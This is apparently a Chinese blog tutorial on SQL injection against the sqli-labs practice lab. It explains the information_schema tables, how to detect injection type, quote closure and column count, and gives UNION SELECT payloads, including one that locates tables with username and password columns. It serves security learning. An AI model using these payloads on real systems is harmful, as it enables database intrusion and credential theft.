网络安全(sql注入)

2024-09-07 21:36

本文主要是介绍网络安全(sql注入),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这里写目录标题

  • 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表
    • 1. information_schema.schemata
    • 2. information_schema.tables
  • 二. 判断注入类型
    • 1. 判断数字型还是字符型注入
    • 2. 判断注入闭合是""还是''
  • 三. 判断表的列数
  • 五. 注入变量的类型
  • 六. SQL注入步骤
    • 快速判断是数字还是字符型输入方法为:

什么是sql注入,按理来说我们的查询语句应该在后台构建,不应该把查询语句放到url中,但是sql注入就是通过语法漏洞将查询语句放到url中,从而进行入侵

一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表

1. information_schema.schemata

功能:information_schema.schemata 表提供关于当前数据库实例中所有数据库(或称为“模式”,schema)的信息。

常用列:

schema_name:数据库或模式的名称。
catalog_name:数据库目录的名称(通常是数据库实例的名称)。
default_character_set_name:数据库的默认字符集。
default_collation_name:数据库的默认排序规则。
用途:用于列出数据库实例中所有的数据库。可以帮助管理员了解在数据库服务器上有哪些数据库或模式。

2. information_schema.tables

功能:information_schema.tables 表提供当前数据库实例中所有表(包括视图)的信息。

常用列:

table_catalog:表的目录名称(通常是数据库实例的名称)。
table_schema:表所属的数据库或模式的名称。
table_name:表的名称。
table_type:表的类型(BASE TABLE表示物理表,VIEW表示视图等)。
engine(MySQL特有):表使用的存储引擎(例如,InnoDB、MyISAM 等)。
用途:用于列出所有表以及它们所属的数据库。可以帮助管理员或开发人员了解每个数据库中存在的表和视图。

区别总结
信息内容:schemata 提供的是数据库级别的信息(列出所有数据库),而 tables 提供的是表级别的信息(列出所有表及其所属的数据库)。
用途:schemata 用于查看数据库实例中有哪些数据库;tables 用于查看具体的数据库中有哪些表或视图。

如果你想查看当前实例中有哪些数据库,可以使用:
表示从information_schema.schemata这张表中查询信息SELECT schema_name FROM information_schema.schemata;如果你想查看某个特定数据库中的所有表,可以使用:SELECT table_name FROM information_schema.tables WHERE table_schema = 
'your_database_name';
查看当前数据库中的所有表名和表中对应列名
SELECT * FROM `users` WHERE id=-1 UNION SELECT 1, table_name, column_name FROM 
information_schema.columns where table_schema=database();

使用group by就必须使用聚合函数如MIN(),SUM(),GROUP_CONCAT(),count()。
同时having尽量和group by连用,因为having后要使用聚合函数如:HAVING SUM(salary) > 5000。这种功能在 WHERE 中是无法实现的,因为 WHERE 无法作用于聚合结果。

SELECT GROUP_CONCAT(id) AS ids, department, COUNT(*) AS 
employee_count, 
SUM(salary) AS total_salary
FROM employees
GROUP BY department;
idsdepartmentemployee_counttotal_salary
1,4HR29800
2,3IT211500

查询当前数据库中只包含username和password列的表,这里使用了group by因为只有使用了group by
分组后,使用having进行聚合会更加精细。

http://localhost/sql/Less-2/
?id=-2 union select 1,group_concat(distinct table_name),3 from
information_schema.columns where table_schema=database() and column_name in 
('username','password') group by table_name having count(distinct column_name)=2

二. 判断注入类型

1. 判断数字型还是字符型注入

字符型注入需要构造闭合,数字型不需要。
在这里插入图片描述

2. 判断注入闭合是""还是’’

如果是字符型注入且闭合类型为"",输入http://localhost/sql/Less-2/?id=1则会默认给1加上闭合为:

SELECT * FROM table_name WHERE id = "1";SELECT * FROM table_name WHERE id = '1';
具体取决于闭合形式是''还是""

视频链接13:21
文档

如果是字符型注入且闭合类型为"",输入http://localhost/sql/Less-2/?id=1"则为

SELECT * FROM table_name WHERE id = "1"";
因为不闭合所有肯定会报错

此时我们在语句后加注释
http://localhost/sql/Less-2/?id=1" – (注意末尾有一个空格),则可以注释掉"

SELECT * FROM table_name WHERE id = "1";
正确

三. 判断表的列数

如果有表有三列则会正常返回结果
http://localhost/sql/Less-2/?id=“1” group by 3

SELECT * FROM table_name WHERE id = "1" GROUP BY 3;

或者使用
http://localhost/sql/Less-2/?id=“1” order by 3

SELECT * FROM table_name WHERE id = "1" ORDER BY 3;

五. 注入变量的类型

比如对一个数字型注入输入,http://localhost/sql/Less-2/?id=0 OR username=Dumb,错误
输入http://localhost/sql/Less-2/?id=0 OR username="Dumb"正确,因为username是char型的,查找类型不匹配也不行

六. SQL注入步骤

快速判断是数字还是字符型输入方法为:

  1. 输入http://localhost/sql/Less-2/?id=0 and 1=1,如果报错则是字符型输入。因为当前查询会被转换为

    SELECT * FROM users WHERE id = '1 and 1=1';
    id是整形,在去掉闭合后id=1 and 1=1,肯定不匹配报错.
    

    如果要注入则需要变为
    http://localhost/sql/Less-2/?id=0’ and 1=1 – (注意–后保留一个空格)

    SELECT * FROM users WHERE id = '1' and 1=1;
    去掉闭合后id=1,满足整形
    
    1. 输入http://localhost/sql/Less-2/?id=2-1,如果是数字型则会返回id=1的列
      使用select 1,2,database()等来查询数据库的库名

在这里插入图片描述

这篇关于网络安全(sql注入)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1146223

相关文章

MySQL中EXISTS与IN用法使用与对比分析

《MySQL中EXISTS与IN用法使用与对比分析》在MySQL中,EXISTS和IN都用于子查询中根据另一个查询的结果来过滤主查询的记录,本文将基于工作原理、效率和应用场景进行全面对比... 目录一、基本用法详解1. IN 运算符2. EXISTS 运算符二、EXISTS 与 IN 的选择策略三、性能对比

MySQL常用字符串函数示例和场景介绍

《MySQL常用字符串函数示例和场景介绍》MySQL提供了丰富的字符串函数帮助我们高效地对字符串进行处理、转换和分析,本文我将全面且深入地介绍MySQL常用的字符串函数,并结合具体示例和场景,帮你熟练... 目录一、字符串函数概述1.1 字符串函数的作用1.2 字符串函数分类二、字符串长度与统计函数2.1

SQL Server跟踪自动统计信息更新实战指南

《SQLServer跟踪自动统计信息更新实战指南》本文详解SQLServer自动统计信息更新的跟踪方法,推荐使用扩展事件实时捕获更新操作及详细信息,同时结合系统视图快速检查统计信息状态,重点强调修... 目录SQL Server 如何跟踪自动统计信息更新:深入解析与实战指南 核心跟踪方法1️⃣ 利用系统目录

MySQL 内存使用率常用分析语句

《MySQL内存使用率常用分析语句》用户整理了MySQL内存占用过高的分析方法,涵盖操作系统层确认及数据库层bufferpool、内存模块差值、线程状态、performance_schema性能数据... 目录一、 OS层二、 DB层1. 全局情况2. 内存占js用详情最近连续遇到mysql内存占用过高导致

Mysql中设计数据表的过程解析

《Mysql中设计数据表的过程解析》数据库约束通过NOTNULL、UNIQUE、DEFAULT、主键和外键等规则保障数据完整性,自动校验数据,减少人工错误,提升数据一致性和业务逻辑严谨性,本文介绍My... 目录1.引言2.NOT NULL——制定某列不可以存储NULL值2.UNIQUE——保证某一列的每一

解密SQL查询语句执行的过程

《解密SQL查询语句执行的过程》文章讲解了SQL语句的执行流程,涵盖解析、优化、执行三个核心阶段,并介绍执行计划查看方法EXPLAIN,同时提出性能优化技巧如合理使用索引、避免SELECT*、JOIN... 目录1. SQL语句的基本结构2. SQL语句的执行过程3. SQL语句的执行计划4. 常见的性能优

SQL Server 中的 WITH (NOLOCK) 示例详解

《SQLServer中的WITH(NOLOCK)示例详解》SQLServer中的WITH(NOLOCK)是一种表提示,等同于READUNCOMMITTED隔离级别,允许查询在不获取共享锁的情... 目录SQL Server 中的 WITH (NOLOCK) 详解一、WITH (NOLOCK) 的本质二、工作

MySQL 强制使用特定索引的操作

《MySQL强制使用特定索引的操作》MySQL可通过FORCEINDEX、USEINDEX等语法强制查询使用特定索引,但优化器可能不采纳,需结合EXPLAIN分析执行计划,避免性能下降,注意版本差异... 目录1. 使用FORCE INDEX语法2. 使用USE INDEX语法3. 使用IGNORE IND

SQL Server安装时候没有中文选项的解决方法

《SQLServer安装时候没有中文选项的解决方法》用户安装SQLServer时界面全英文,无中文选项,通过修改安装设置中的国家或地区为中文中国,重启安装程序后界面恢复中文,解决了问题,对SQLSe... 你是不是在安装SQL Server时候发现安装界面和别人不同,并且无论如何都没有中文选项?这个问题也

2025版mysql8.0.41 winx64 手动安装详细教程

《2025版mysql8.0.41winx64手动安装详细教程》本文指导Windows系统下MySQL安装配置,包含解压、设置环境变量、my.ini配置、初始化密码获取、服务安装与手动启动等步骤,... 目录一、下载安装包二、配置环境变量三、安装配置四、启动 mysql 服务,修改密码一、下载安装包安装地